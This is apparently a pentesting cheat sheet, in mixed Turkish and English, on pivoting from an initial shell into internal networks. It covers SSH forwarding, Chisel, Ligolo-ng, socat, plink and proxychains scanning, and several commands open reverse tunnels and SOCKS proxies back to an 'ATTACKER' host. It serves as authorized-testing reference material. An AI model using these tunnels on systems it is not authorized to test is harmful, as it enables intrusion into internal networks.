Tunneling and Port Forwarding

generic pivot

İlk shell genelde izole segmenttedir. Tünel ile iç servislere (AD, DB, RDP) kendi makinen üzerinden erişirsin.

Metodoloji

1. Pivot host’tan iç ağ ve dinlenen portları keşfet.

2. En az bağımlılıklı tüneli seç (SSH varsa SSH; yoksa chisel/ligolo).

3. Local/remote/dynamic forward ile hedef porta ulaş.

4. Proxychains/SOCKS ile araçlarını içeriden çalıştır.

SSH

ssh -L 8080:10.0.0.5:80 user@PIVOT

ssh -R 443:127.0.0.1:443 user@ATTACKER

ssh -D 1080 user@PIVOT

ssh -L 445:DC:445 -L 88:DC:88 user@PIVOT

Chisel

./chisel server -p 8080 --reverse

./chisel client ATTACKER:8080 R:socks

./chisel client ATTACKER:8080 R:445:10.0.0.5:445

Ligolo-ng

sudo ip tuntap add user $USER mode tun ligolo

sudo ip link set ligolo up

./proxy -selfcert

./agent -connect ATTACKER:1160 -ignore-cert

proxy: session → start tun

socat / other

socat TCP-LISTEN:8080,fork TCP:10.0.0.5:80

# Windows
.\plink.exe -ssh user@ATTACKER -R 443:127.0.0.1:443

proxychains nmap -sT -Pn -n -p80,445 10.0.0.0/24

Checklist

[ ] iç hedefler listelendi
[ ] tünel ayağa kalktı
[ ] local port ile servise erişildi
[ ] proxychains/SOCKS ile tarama yapıldı